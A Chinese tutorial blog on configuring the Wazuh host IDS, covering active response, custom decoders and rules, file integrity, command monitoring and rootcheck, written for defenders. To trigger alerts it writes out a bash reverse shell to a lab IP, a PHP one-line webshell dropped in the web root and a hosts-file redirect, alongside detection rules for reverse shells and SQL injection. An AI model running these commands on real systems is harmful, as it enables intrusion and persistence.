开源工具利器之基于主机的IDS:Wazuh

声明

好好学习,天天向上
好好跟着蜗牛学苑的邓强老师学习技术原理

官网

前身OSSEC
https://www.ossec.net/

现在已开源
https://wazuh.com/
https://github.com/wazuh

安装

基础
yum install curl unzip wget libcap net-tools

配置源
/etc/yum.repos.d/wazuh.repo

[wazuh]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
name=EL-$releasever - Wazuh
baseurl=https://packages.wazuh.com/4.x/yum/
protect=1

yum install wazuh-manager

或者官网有离线的rpm包,后续的agent也需要在官网下载

安装完后,启动
systemctl status wazuh-manager

介绍

服务器端安装了wazuh的服务后,服务自动就会采集本台服务器上的信息,服务器上不需要再装agent
默认目录为
cd /var/ossec/

active-response:响应的脚本
agentless:无代理安装,即用户名密码
etc:配置,ossec.conf核心配置文件
ruleset:自带规则库,建议不改
log:日志,预警核心

以下两个目录记录了何时、触发了哪些规则
/var/ossec/logs/alerts/alerts.json:json格式的预警信息,用于分析展示,这不就是给elk用于展示的嘛
/var/ossec/logs/alerts/alerts.log:适用于直接查看

初步感知

hids毕竟是基于主机的ids,所以监控的都是主机上的各种信息,文件夹或者命令执行结果等,看核心配置中的目录监控,可以看到监控了登录日志

/var/ossec/etc/ossec.conf

在这里插入图片描述

模拟登录失败,看看有什么反应
实时查看日志
tail -f alerts.log

ssh到这台服务器上,输入错误密码
ssh [email protected]
可以看到触发了两条规则5557和5760

在这里插入图片描述

在这个文件里面看到5557规则
/var/ossec/ruleset/rules/0085-pam_rules.xml
这个文件是5760
/var/ossec/ruleset/rules/0095-sshd_rules.xml

在这里插入图片描述

在这里插入图片描述

当我们连续登录root,密码输错很多次次后报了一条5763

在这里插入图片描述

5763规则是如果5760触发,120秒内触发8次,就触发本条规则,描述就是怀疑暴力破解

在这里插入图片描述

配置了解

全局配置
/var/ossec/etc/ossec.conf
  <global>
    <jsonout_output>yes</jsonout_output>
    
    预警的当然要记录
    <alerts_log>yes</alerts_log>
    
    不记录所有
    <logall>no</logall>
    不记录所有的json格式
    <logall_json>no</logall_json>
    邮件相关配置
    <email_notification>no</email_notification>
    <smtp_server>smtp.example.wazuh.com</smtp_server>
    <email_from>[email protected]</email_from>
    <email_to>[email protected]</email_to>
    <email_maxperhour>12</email_maxperhour>
    <email_log_source>alerts.log</email_log_source>
    
    代理10分钟离线
    <agents_disconnection_time>10m</agents_disconnection_time>
    代理告警时间为实时
    <agents_disconnection_alert_time>0</agents_disconnection_alert_time>
  </global>
  <alerts>
  只要预警>=3级及以上就会记录到alert.log中
    <log_alert_level>3</log_alert_level>
    只要>=12级就会发邮件
    <email_alert_level>12</email_alert_level>
  </alerts>
客户端连接的端口,所以服务器的1514端口是开着的,可以通过netstat -ant看到
  <remote>
    <connection>secure</connection>
    <port>1514</port>
    <protocol>tcp</protocol>
    <queue_size>131072</queue_size>
  </remote>
监控root相关
  <!-- Policy monitoring -->
  <rootcheck>
  关闭为no,说明开启了
    <disabled>no</disabled>
    <check_files>yes</check_files>
    <check_trojans>yes</check_trojans>
    <check_dev>yes</check_dev>
    <check_sys>yes</check_sys>
    <check_pids>yes</check_pids>
    <check_ports>yes</check_ports>
    <check_if>yes</check_if>

    <!-- Frequency that rootcheck is executed - every 12 hours -->
    每12小时执行一次
    <frequency>43200</frequency>

监控rootkit(维持root权限的后门)
    <rootkit_files>etc/rootcheck/rootkit_files.txt</rootkit_files>
    <rootkit_trojans>etc/rootcheck/rootkit_trojans.txt</rootkit_trojans>

    <skip_nfs>yes</skip_nfs>
  </rootcheck>
这个文件中就会监控像是ls,ifconfig命令是否被替换成/bin/sh
etc/rootcheck/rootkit_trojans.txt

在这里插入图片描述

配置文件检查,每12小时扫描一次enabled为yes说明开启了,扫描的文件会在/var/ossec/ruleset/sca
  <sca>
    <enabled>yes</enabled>
    <scan_on_start>yes</scan_on_start>
    <interval>12h</interval>
    <skip_nfs>yes</skip_nfs>
  </sca>

可以看到sca目录下大多是disabled的

在这里插入图片描述

这个规则虽然关闭,可以看到包含检测php的目录下有没有webshell的

在这里插入图片描述

扫描操作系统的各种漏洞
  <vulnerability-detector>
    <enabled>no</enabled>
    <interval>5m</interval>
    <min_full_scan_interval>6h</min_full_scan_interval>
    <run_on_start>yes</run_on_start>

    <!-- Ubuntu OS vulnerabilities -->
    <provider name="canonical">
      <enabled>no</enabled>
      <os>trusty</os>
      <os>xenial</os>
      <os>bionic</os>
      <os>focal</os>
      <os>jammy</os>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Debian OS vulnerabilities -->
    <provider name="debian">
      <enabled>no</enabled>
      <os>stretch</os>
      <os>buster</os>
      <os>bullseye</os>
      <update_interval>1h</update_interval>
    </provider>

    <!-- RedHat OS vulnerabilities -->
    <provider name="redhat">
      <enabled>no</enabled>
      <os>5</os>
      <os>6</os>
      <os>7</os>
      <os>8</os>
      <os>9</os>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Amazon Linux OS vulnerabilities -->
    <provider name="alas">
      <enabled>no</enabled>
      <os>amazon-linux</os>
      <os>amazon-linux-2</os>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Arch OS vulnerabilities -->
    <provider name="arch">
      <enabled>no</enabled>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Windows OS vulnerabilities -->
    <provider name="msu">
      <enabled>yes</enabled>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Aggregate vulnerabilities -->
    <provider name="nvd">
      <enabled>yes</enabled>
      <update_from_year>2010</update_from_year>
      <update_interval>1h</update_interval>
    </provider>

  </vulnerability-detector>

再往后就是大量的目录检查,注意配置文件的注释是,我203行注释写错了后面重启wazuh就会报错,和html的注释一样

<!-- -->

在这里插入图片描述

以及主动响应的部分

在这里插入图片描述

当然主动响应也会和目录对上,这里就相当于定义了,但是没有地方调用

在这里插入图片描述

这里才是要调用

在这里插入图片描述

命令执行的结果

在这里插入图片描述

主动响应

官网配置搜索<active-response>

在这里插入图片描述

拷贝这个规则到配置中

在这里插入图片描述

顺便了解一下location标签

local,在该代理上执行,我们可以用这个

server在wazuh服务器上执行,也可以用,因为我们现在就在server上测试的,不过如果是在agent触发了,一般很少让在server上执行吧

defined-agent,在定义agent_id上面执行,其实也可以,默认给我们的就是带agent_id的我就不改了

all,在所有agent上执行,很适合大面积感染了

在这里插入图片描述

简单修改一下为,出现10级了,触发firewall-drop,将那个IP加入到iptables防火墙规则里

在这里插入图片描述

<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <level>7</level>
  <timeout>600</timeout>
</active-response>

重启wazuh,开启iptables

systemctl restart wazuh-manager

systemctl start iptables

我们还用前面的哪个10级的5760,也就是ssh一直失败,先是触发了10级的规则

在这里插入图片描述

客户端ssh再访问也没响应了

在这里插入图片描述

从日志看是加入到了防火墙里面

在这里插入图片描述

查看防火墙策略加了两条drop

在这里插入图片描述

重启iptables恢复策略

systemctl restart iptables

再试一下host-deny,一样的结果

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

重启sshd服务恢复deny,如果是测试,我们就把响应再注释掉

systemctl restart sshd

如果重启了sshd还不管用,就考虑加入hosts.allow

vim /etc/hosts.allow

sshd:192.168.174.1

应用

mysql

启动xampp
/opt/lampp/lampp start

开启mysql日志,输出到文件

vim /opt/lampp/etc/my.cnf

general_log = ON
general_log_file = /opt/lampp/logs/mysql.log
log_output = file

加入可写权限
chmod +w /opt/lampp/logs

重启lampp
/opt/lampp/lampp restart
如果没反应就进mysql里面再设置一下
mysql -uroot -p123456 -h192.168.174.5
show variables like 'general_log';
show variables like 'general_log_file';
show variables like 'log_output';
set global general_log=on
set global general_log_file='/opt/lampp/logs/mysql.log';

登录失败后会产生日志

在这里插入图片描述

启动wazuh的mysql日志监听

  <localfile>
    <log_format>syslog</log_format>
    <location>/opt/lampp/logs/mysql.log</location>
  </localfile>

在这里插入图片描述

查看内置mysql的规则,可以看到很多规则都是依赖50100,50100是个解码器,我们要触发的日志也是50106,不过这些正则和我们上面触发的mysql日志似乎匹配不上没有MYSQL开头的这种关键字

/var/ossec/ruleset/rules/0295-mysql_rules.xml

在这里插入图片描述

找到罪魁祸首mysql的decoders,改成匹配上我们日志的正则

/var/ossec/ruleset/decoders/0150-mysql_decoders.xml

<decoder name="mysql_log">
  <prematch>\d+ Connect</prematch>
</decoder>

在这里插入图片描述

再整一条登录错误日志

mysql -uroot -p1234561 -h192.168.174.5

在这里插入图片描述

触发了50106

在这里插入图片描述

解码器

静态字段与动态字段

https://documentation.wazuh.com/current/user-manual/ruleset/dynamic-fields.html?highlight=static

静态字段
wazuh预定义的为静态字段:像是user、srcip

动态字段
不包含预定义的为动态字段,也就是除了user、srcip等等系统自定义的13个静态字段之外其他的都是动态字段,也就是我们自己定义的

正则

利用正则对日志进行解析,利于上一个例子中,我们可以提取日志中的字段

<decoder name="mysql_log">
  <prematch>\d+ Connect</prematch>
  <regex offset="after_prematch">Access denied for user '(\S+)'@'(\S+)' </regex>
  <order>username, src_ip</order>
</decoder>

在这里插入图片描述

json

自带的正则解码器,表示以花括号开头{,解码器命名为json

在这里插入图片描述

suricata这里就引用了这个名为json的解码器

在这里插入图片描述

命令行调试

/var/ossec/bin/wazuh-logtest

命令执行后,在控制台输入一条mysql登录失败的日志

5 Connect   Access denied for user 'root'@'192.168.174.1' (using password: YES)

第一阶段,预解码

第二阶段,解码器

第三阶段,对规则进行匹配

最后会说预警将产生,意思是这条日志匹配上了alert规则,但是只是测试,alert不会真正发生

在这里插入图片描述

再输入一条json格式的日志,json的格式会被自动提取,event_type字段是alert,自然会匹配上86601规则

{"timestamp":"2016-05-02T17:46:48.515262+0000","flow_id":1234,"in_iface":"eth0","event_type":"alert","src_ip":"16.10.10.10","src_port":5555,"dest_ip":"16.10.10.11","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2019236,"rev":3,"signature":"ET WEB_SERVER Possible CVE-2014-6271 Attempt in HTTP Version Number","category":"Attempted Administrator Privilege Gain","severity":1},"payload":"abcde","payload_printable":"hi test","stream":0,"host":"suricata.com"}

在这里插入图片描述

同级sibling解码器

在这个文件下自定义解码器

/var/ossec/etc/decoders/local_decoder.xml

解码器名称为securityapp,program_name表示只要包含securityapp的都解码

<decoder name="securityapp">
    <program_name>securityapp</program_name>
    <regex>(\w+): srcuser="(\.+)" action="(\.+)" dstusr="(\.+)"</regex>
    <order>type,srcuser,action,dstuser</order>
</decoder>

在这里插入图片描述

源日志为,按照顺序(order)获取了四个字段的值

Apr 01 00:31:38 hostname10086 securityapp: INFO: srcuser="Bob" action="called" dstusr="Alice"

在这里插入图片描述

但是将日志更换顺序后,则无法匹配

Apr 01 00:31:38 hostname10086 securityapp: INFO: srcuser="Bob" dstusr="Alice" action="called"

在这里插入图片描述

先将刚刚这个解码器注释掉,加入新的多级解码器,一个一个字段拿

定义一个父securityapp

<decoder name="securityapp">
    <program_name>securityapp</program_name>
</decoder>

<decoder name="securityapp">
    <parent>securityapp</parent>
    <regex>^(\w+):</regex>
    <order>type</order>
</decoder>

<decoder name="securityapp">
    <parent>securityapp</parent>
    <regex>srcuser="(\.+)"</regex>
    <order>srcuser</order>
</decoder>

<decoder name="securityapp">
    <parent>securityapp</parent>
    <regex>action="(\.+)"</regex>
    <order>action</order>
</decoder>

<decoder name="securityapp">
    <parent>securityapp</parent>
    <regex>dstusr="(\.+)"</regex>
    <order>dstusr</order>
</decoder>

重启wazuh,可以提取

Apr 01 00:31:38 hostname10086 securityapp: INFO: srcuser="Bob" dstusr="Alice" action="called"

在这里插入图片描述

自定义

给定日志

Dec  4 17:07:01 myserver security_login: Accepted password for user tony, IP: 1.2.3.4
Dec  4 17:07:01 myserver security_login: Failed password for user tony, IP: 1.2.3.4

加入解码器后,重启wazuh

<decoder name="security_login">
    <program_name>security_login</program_name>
</decoder>
<decoder name="security_login_message">
    <parent>security_login</parent>
    <prematch> password for user </prematch>
    <regex>^\w+ password for user (\w+), IP: (\S+)</regex>
    <order>dstuser, srcip</order>
</decoder>

这两条“人造日志”好像还装上了我们的规则

在这里插入图片描述

实战

对于软waf的日志,加个waflog特征后

Dec 25 20:45:02 MyHost waflog: [2022-05-09 15:47:43] "GET 127.0.0.1/?a=select1from1" "1.1.1.1"  "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "select.+(from|limit)"

完善解码器/var/ossec/etc/decoders/local_decoder.xml

<decoder name="waflog">
  <parent>waflog</parent>
  <regex>[(\.*)] "(\w+) (\.*)" "(\S*)"  "(\.*)" "(\.*)"</regex>
  <order>accress_time,method,uri,useless,user-agent,waf_rule</order>
</decoder>

完善/var/ossec/etc/rules/local_rules.xml

<group name="ossec,">
  <rule id="300001" level="3">
        <decoded_as>waflog</decoded_as>
        <field name="accress_time">\.+</field>
        <field name="waf_rule">\.+</field>
        <description>waf messages.</description>
        <options>no_full_log</options>
  </rule>
  <rule id="300002" level="10">
    <if_sid>300001</if_sid>
    <field name="waf_rule">^select.+\(from\|limit\)</field>
    <description>sql inject: Alert - waf_rule is : $(waf_rule)</description>
    <options>no_full_log</options>
</rule> 
</group>

如果是要进行host-deny响应,我们就要给定一个srcip,不然把啥加到deny中呢

规则

分级

https://documentation.wazuh.com/current/user-manual/ruleset/rules-classification.html?highlight=First%20time%20seen

0-15个级别(没有1级)
3级以前基本就是提示
7级以后较为严重
rule标签
https://documentation.wazuh.com/current/user-manual/ruleset/ruleset-xml-syntax/rules.html?highlight=rule

上述url中就是rule标签中所有的标签,当然里面大多是静态字段filed(解码器的order中拿到的)
match和regex都是正则,match只有简单几个表达式,所以我们常用regex
用户自定义的规则id从100000开始

ignore静默时间
overwrite重写规则,觉得系统哪个写的不好,自己写一个,有更改需求的最好还是使用重写的方式

针对mysql进行实验,我们注释掉最初在mysql的编码器中写的decoder,恢复其默认编码器,改在/var/ossec/etc/decoders/local_decoder.xml中操作

在这里插入图片描述

编辑/var/ossec/etc/ossec.conf,禁用原mysql编码器和mysql的规则

    <rule_exclude>0295-mysql_rules.xml</rule_exclude>
	<decoder_exclude>ruleset/decoders/0150-mysql_decoders.xml</decoder_exclude>

ossec.conf完整ruleset

  <ruleset>
    <!-- Default ruleset -->
    <decoder_dir>ruleset/decoders</decoder_dir>
    <rule_dir>ruleset/rules</rule_dir>
    <rule_exclude>0215-policy_rules.xml</rule_exclude>

    <rule_exclude>0295-mysql_rules.xml</rule_exclude>

    <list>etc/lists/audit-keys</list>
    <list>etc/lists/amazon/aws-eventnames</list>
    <list>etc/lists/security-eventchannel</list>

    <!-- User-defined ruleset -->
    <decoder_dir>etc/decoders</decoder_dir>
    <rule_dir>etc/rules</rule_dir>

    <decoder_exclude>ruleset/decoders/0150-mysql_decoders.xml</decoder_exclude>
  </ruleset>

在这里插入图片描述

在自定义解码器中接入mysql的解码器,这里拿到登录的用户名和ip,注意user和srcip要和官网的静态字段保持一致

/var/ossec/etc/decoders/local_decoder.xml

<decoder name="mysql_log">
  <prematch>\d+ Connect|\d+ Query</prematch>
  <regex offset="after_prematch">Access denied for user '(\S+)'@'(\S+)' </regex>
  <order>user, srcip</order>
</decoder>

在这里插入图片描述

复制mysql规则到自定义规则

/var/ossec/etc/rules/local_rules.xml

50100依赖mysql_log解码器,只是一个简单描述

50105依赖50100规则,如果50100规则成立,并且登录成功,用$(dstuser)拿到用户名,注意dstuser也是标准写法

50106依赖50105规则,如果50105规则成立,并且登录失败,用$(dstuser)拿到用户名

50107依赖50106规则,如果50106匹配上了,说明是用户登录失败的情况,再加上用了标签user匹配是test的用户,也就是如果登录失败,并且用户名是test,就会触发本条规则

50108好理解,依赖50100规则,和50105类似

重点:

561002依赖50106,如果50106规则30s内触发了5次就会告警

<group name="mysql_log,">
  <rule id="50100" level="0" overwrite="yes">
    <decoded_as>mysql_log</decoded_as>
    <description>MySQL messages grouped.</description>
  </rule>

  <rule id="50105" level="3" overwrite="yes">
    <if_sid>50100</if_sid>
    <regex>\d+ Connect</regex>
    <description>MySQL: 用户$(dstuser)正在登录</description>
    <mitre>
      <id>T1078</id>
    </mitre>
    <group>authentication_success,</group>
  </rule>

  <rule id="50106" level="9" overwrite="yes">
    <if_sid>50105</if_sid>
    <match>Access denied for user</match>
    <description>MySQL: 用户$(dstuser)登录失败</description>
    <group>authentication_failed,</group>
  </rule>

  <rule id="50107" level="7" overwrite="yes">
    <if_sid>50106</if_sid>
    <match>Access denied for user</match>
    <description>MySQL: 用户test登录失败</description>
    <user>test</user>
    <group>authentication_failed,</group>
  </rule>

  <rule id="50108" level="3" overwrite="yes">
    <if_sid>50100</if_sid>
    <match>select @@version_comment limit 1</match>
    <description>MySQL: 用户$(dstuser)登录成功</description>
    <group>authentication_failed,mysql_query,</group>
  </rule>

  <rule id="561002" level="12" frequency="5" timeframe="30">
    <if_matched_sid>50106</if_matched_sid>
    <description>MySQL: 用户$(dstuser)多次登录失败,疑似爆破.</description>
    <group>attack,</group>
  </rule>
</group>

在这里插入图片描述

输入正确密码,查看alert.log

mysql -uroot -p123456 -h192.168.174.5

只报了5018和50105,没问题,50108和50105都是依赖50100,但是并没有报50100,说明在真实环境alert.log中,后面的触发了,前面的就不会触发

在这里插入图片描述

在命令行测试

/var/ossec/bin/wazuh-logtest

输入正确登录日志

7 Query     select @@version_comment limit 1

但是命令行只触发了50108

在这里插入图片描述

输入错误密码1次,查看alert.log,触发50105和50106

mysql -uroot -p12345 -h192.168.174.5

在这里插入图片描述

输入test用户错误密码1次,查看alert.log,触发50105和50107

mysql -utest -p12345 -h192.168.174.5

在这里插入图片描述

30s内输入5次

mysql -uroot -p12345 -h192.168.174.5

在这里插入图片描述

再加一条

基于50106,如果相同ip,不同用户的,在30秒内3次的就告警,静默时间30s

静态字段像是user、ip就用指定的标签different_user、same_srcip

【动态字段使用same_field、different_field这类标签判断】

https://documentation.wazuh.com/current/user-manual/ruleset/ruleset-xml-syntax/rules.html?highlight=same
  <rule id="51106" level="10" frequency="3" timeframe="30" ignore="30">
    <if_matched_sid>50106</if_matched_sid>
    <same_srcip />
    <different_user />
    <description>相同ip,不同用户</description>
    <group>attack,</group>
  </rule>

在这里插入图片描述

改用动态字段,当然解码器和规则都得改

<decoder name="mysql_log">
  <prematch>\d+ Connect|\d+ Query</prematch>
  <regex offset="after_prematch">Access denied for user '(\S+)'@'(\S+)' </regex>
  <!-- <order>user, srcip</order> -->
  <order>u, i</order>
</decoder>

在这里插入图片描述

  <rule id="51106" level="10" frequency="3" timeframe="30" ignore="30">
    <if_matched_sid>50106</if_matched_sid>
    <same_field>i</same_field>
    <description>相同ip</description>
    <group>attack,</group>
  </rule>

在这里插入图片描述

在这里插入图片描述

web日志

常见日志

开启web站点vaudit

http://192.168.174.5:81/

在这里插入图片描述

在/var/ossec/etc/ossec.conf加入lampp的访问日志

log_format不止有syslog一个,好像其他的也没这个更适合这里

  <localfile>
    <log_format>syslog</log_format>
    <location>/opt/lampp/logs/access_log</location>
  </localfile>

在这里插入图片描述

日志记录

在这里插入图片描述

查看wazuh内置的web解码器,发现只有这个解码器【web-accesslog-ip】相对合适

/var/ossec/ruleset/decoders/0375-web-accesslog_decoders.xml

拿到了ip、方法、url和状态码(id),后面id就是状态码

在这里插入图片描述

再看看web的规则库,没啥感觉

/var/ossec/ruleset/rules/0245-web_rules.xml

我们重写31101规则

/var/ossec/etc/rules/local_rules.xml

561106规则总不触发,是因为触发了别的规则,,怎么办呢,加noalert=“1”

触发403
http://192.168.174.5:81/phpmyadmin
192.168.174.1 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
192.168.174.2 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
192.168.174.3 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
192.168.174.4 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
192.168.174.5 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
<group name="web_log,">
  <rule id="31101" level="5" overwrite="yes">
    <if_sid>31100</if_sid>
    <id>^404$</id>
    <description>Web server 404 error code.</description>
    <group>attack,pci_dss_6.5,pci_dss_11.4,gdpr_IV_35.7.d,nist_800_53_SA.11,nist_800_53_SI.4,tsc_CC6.6,tsc_CC7.1,tsc_CC8.1,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
  </rule>

  <rule id="561101" level="10" frequency="5" timeframe="30">
    <if_matched_sid>31101</if_matched_sid>
    <same_source_ip />
    <description>同一个IP不断出现404,疑似扫描</description>
    <group>attack,</group>
  </rule>

  <rule id="561102" level="10" frequency="5" timeframe="30">
    <if_matched_sid>31101</if_matched_sid>
    <different_srcip />
    <description>不同IP不断出现404,疑似扫描</description>
    <group>attack,</group>
  </rule>

  <rule id="561103" level="5">
    <if_sid>31100</if_sid>
    <id>^403$</id>
    <description>Web server 403 error code.</description>
    <group>attack,pci_dss_6.5,pci_dss_11.4,gdpr_IV_35.7.d,nist_800_53_SA.11,nist_800_53_SI.4,tsc_CC6.6,tsc_CC7.1,tsc_CC8.1,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
  </rule>

  <rule id="561104" level="10" frequency="5" timeframe="30">
    <if_matched_sid>561103</if_matched_sid>
    <description>Web server 403 error code.</description>
    <group>attack,</group>
  </rule>

  <rule id="561105" level="5">
    <if_matched_sid>31100</if_matched_sid>
    <url>/user/logCheck.php</url>
    <protocol>POST</protocol>
    <description>某个IP正在登录</description>
    <group>attack,</group>
  </rule>

  <rule id="561106" level="10" frequency="5" timeframe="30">
    <if_matched_sid>561105</if_matched_sid>
    <description>相同IP频繁访问登录接口,疑似登录爆破</description>
    <group>attack,</group>
  </rule>

</group>

SQL注入

  <rule id="561106" level="10" frequency="5" timeframe="30">
    <if_matched_sid>561105</if_matched_sid>
    <description>相同IP频繁访问登录接口,疑似登录爆破</description>
    <group>attack,</group>
  </rule>

  <rule id="561301" level="8">
    <regex>union|select|order by|and|or</regex>
    <description>疑似SQL注入</description>
    <group>attack,</group>
  </rule>
  <rule id="561302" level="10" frequency="5" timeframe="30">
    <if_matched_sid>561301</if_matched_sid>
    <same_source_ip />
    <description>相同IP进行SQL注入</description>
    <group>attack,</group>
  </rule>  

文件完整性检查

修改文件,启用文件,在syscheck标签中做简单修改

/var/ossec/etc/ossec.conf

完整syscheck标签内容如下,增加新目录

  <!-- File integrity monitoring -->
  <syscheck>
    <disabled>no</disabled>

    <!-- Frequency that syscheck is executed default every 12 hours -->
    <!-- 用户自定义时间,默认为43200秒,即12小时
    测试环境方便调试我改为10s,10s扫一次文件 -->
    <!-- <frequency>43200</frequency> -->
    <frequency>10</frequency>
    
    <!-- 每次开启wazuh时扫描,生产不用开,测试环境开 -->
    <scan_on_start>yes</scan_on_start>

    <!-- Generate alert when new file detected -->
    <alert_new_files>yes</alert_new_files>

    <!-- Don't ignore files that change more than 'frequency' times -->
    <auto_ignore frequency="10" timeframe="3600">no</auto_ignore>

    <!-- Directories to check  (perform all possible verifications) -->
    <directories>/etc,/usr/bin,/usr/sbin</directories>
    <directories>/bin,/sbin,/boot</directories>

    <!-- 用户自定义目录 -->
    <directories>/opt/lampp/htdocs,/tmp</directories>

    <!-- Files/directories to ignore -->
    <ignore>/etc/mtab</ignore>
    <ignore>/etc/hosts.deny</ignore>
    <ignore>/etc/mail/statistics</ignore>
    <ignore>/etc/random-seed</ignore>
    <ignore>/etc/random.seed</ignore>
    <ignore>/etc/adjtime</ignore>
    <ignore>/etc/httpd/logs</ignore>
    <ignore>/etc/utmpx</ignore>
    <ignore>/etc/wtmpx</ignore>
    <ignore>/etc/cups/certs</ignore>
    <ignore>/etc/dumpdates</ignore>
    <ignore>/etc/svc/volatile</ignore>

    <!-- File types to ignore -->
    <ignore type="sregex">.log$|.swp$</ignore>

    <!-- Check the file, but never compute the diff -->
    <nodiff>/etc/ssl/private.key</nodiff>

    <skip_nfs>yes</skip_nfs>
    <skip_dev>yes</skip_dev>
    <skip_proc>yes</skip_proc>
    <skip_sys>yes</skip_sys>

    <!-- Nice value for Syscheck process -->
    <process_priority>10</process_priority>

    <!-- Maximum output throughput -->
    <max_eps>100</max_eps>

    <!-- Database synchronization settings -->
    <synchronization>
      <enabled>yes</enabled>
      <interval>5m</interval>
      <max_interval>1h</max_interval>
      <max_eps>10</max_eps>
    </synchronization>
  </syscheck>

添加账户

修改/etc/passwd文件,新增账号test321,触发550规则,好多文件都被修改

useradd test321

在这里插入图片描述

/etc下增加/删除文件

echo hello > /etc/hello11111111111111111.txt

在这里插入图片描述

删除这个文件

rm -f /etc/hello11111111111111111.txt

在这里插入图片描述

写一句话

echo '<?php ($_=@$GET['s']).@$($POST['pass']);?>' > /opt/lampp/htdocs/test_shell.php

在这里插入图片描述

修改权限也会被发现

chmod 755 /opt/lampp/htdocs/test_shell.php

命令监控

攻击者监听端口

nc -lvvp 4444

wazuh服务器执行

bash >& /dev/tcp/192.168.33.93/4444 0>&1

在这里插入图片描述

查看端口,特征是带bash的

在这里插入图片描述

常用的命令

netstat -anptl | grep bash
ss -apn | grep ESTAB | egrep '("bash"|"sh")'
ps -eo user,pid,cmd | grep /bash

加入命令监控

/var/ossec/etc/ossec.conf

  <localfile>
    <log_format>command</log_format>
    <command>netstat -anptl</command>
    <frequency>10</frequency>
  </localfile>

在这里插入图片描述

完善规则

/var/ossec/etc/rules/local_rules.xml

<group name="ossec,">
  <rule id="200001" level="6" noalert="1">
    <if_sid>530</if_sid>
      <match>ossec: output: 'netstat -anptl'</match>
      <description>正在监听反弹shell</description>
      <group>process_monitor,</group>
  </rule>
  <rule id="200002" level="8">
    <if_sid>200001</if_sid>
      <match>bash</match>
      <description>监听到bash反弹shell</description>
      <group>process_monitor,attack</group>
  </rule>
</group>

在这里插入图片描述

在这里插入图片描述

nc也一样,放开ossec配置

  <localfile>
    <log_format>command</log_format>
    <command>ps -ef</command>
    <frequency>10</frequency>
  </localfile>
<group name="ossec,">
  <rule id="210001" level="6" noalert="1">
    <if_sid>530</if_sid>
      <match>ossec: output: 'ps -ef'</match>
      <description>正在查询恶意进程</description>
      <group>process_monitor,</group>
  </rule>
  <rule id="210002" level="8">
    <if_sid>210001</if_sid>
      <match>nc -e</match>
      <description>监听到nc反弹shell</description>
      <group>process_monitor,attack</group>
  </rule>
</group>

在这里插入图片描述

rootcheck

rootkit

对我们最亲爱的rootkit木马进行监测

首先开启rootcheck,当然默认是开启的,我这里只改了一个参数,就是把频率改小了

完整配置如下

频率改为10s
  <!-- Policy monitoring -->
  <rootcheck>
    <disabled>no</disabled>
    <check_files>yes</check_files>
    <check_trojans>yes</check_trojans>
    <check_dev>yes</check_dev>
    <check_sys>yes</check_sys>
    <check_pids>yes</check_pids>
    <check_ports>yes</check_ports>
    <check_if>yes</check_if>

    <!-- Frequency that rootcheck is executed - every 12 hours -->
    <!-- <frequency>43200</frequency> -->
    <frequency>10</frequency>
    <rootkit_files>etc/rootcheck/rootkit_files.txt</rootkit_files>
    <rootkit_trojans>etc/rootcheck/rootkit_trojans.txt</rootkit_trojans>

    <skip_nfs>yes</skip_nfs>
  </rootcheck>

在这里插入图片描述

我们需要注意两个文件/var/ossec/etc/rootcheck/rootkit_files.txt和/var/ossec/etc/rootcheck/rootkit_trojans.txt

先来看看/var/ossec/etc/rootcheck/rootkit_files.txt

只要tmp目录下创建了文字为mcliZokhb的文件,就认为木马了

在这里插入图片描述

这条也一样,只要tmp下有.dump文件就认为是木马,这还是个.开头的隐藏文件

在这里插入图片描述

话不多说,我们来测试一下

echo "" > /tmp/mcliZokhb
echo "" > /tmp/.dump

看到了告警,所以这个文件是一个文件名的黑名单

在这里插入图片描述

rm -f /tmp/mcliZokhb /tmp/.dump

删掉刚刚创建的恶意文件后,再来看看/var/ossec/etc/rootcheck/rootkit_trojans.txt

这一部分是查看命令的内容有没有被恶意人员改变而劫持

在这里插入图片描述

这里是看hosts文件是否被劫持,像这种麦咖啡和微软的域名也在监控范围内,应该是怕黑客改了hosts域名解析,导致服务器访问麦咖啡域名或者微软解析到黑客的服务器上去更新病毒库或者补丁吧

在这里插入图片描述

我们来改一下hosts文件,追加一条

echo "127.0.0.1 mcafee.com" >> /etc/hosts

看到我们之前的文件完整性监控和rootcheck监控都检测到了

在这里插入图片描述

删掉这一条

system audit

也偏向文件监控,和签名的大同小异,主要看我们文件的配置是否正确啊,文件内容有没有异常函数这种

当然是我们自定义配置,在etc/rootcheck/目录下创建system_audit_lampp.txt,内容如下

如果php.ini中allow_url_include=On,说明开启,我们就报警

如果/opt/lampp/htdocs目录下有符合eval.*POST的,我们就认为有一句话

# 可以定义我们自己的变量
$php.ini=/opt/lampp/etc/php.ini;
$web_dirs=/opt/lampp/htdocs;

# 规则分为三部分
# 第一部分注释,可以不写
# 第二部分,[规则描述] [触发条件] [参考引用],注意[]和[]之间要加空格
# 第三部分,规则本身,方向箭头左边,f文件,d目录,p进程,c命令,r注册表
# 方向箭头右边 ,可以写普通文件,代表模糊匹配,也可以写r:代表正则,也可以逻辑运算&&多条件匹配
# 如果是目录,则需要定义一个中间箭头,用于确认查询当前目录下的哪些文件

# PHP CHECK
[PHP - 远程文件包含开启] [any] []
f:$php.ini -> r:^allow_url_include=On;

# WEB SHELl CHECK
[PHP - 疑似有一句话] [any] []
d:/opt/lampp/htdocs -> .php$ -> r:eval;

在这里插入图片描述

rootcheck引用system_audit标签

  <!-- Policy monitoring -->
  <rootcheck>
    <disabled>no</disabled>
    <check_files>yes</check_files>
    <check_trojans>yes</check_trojans>
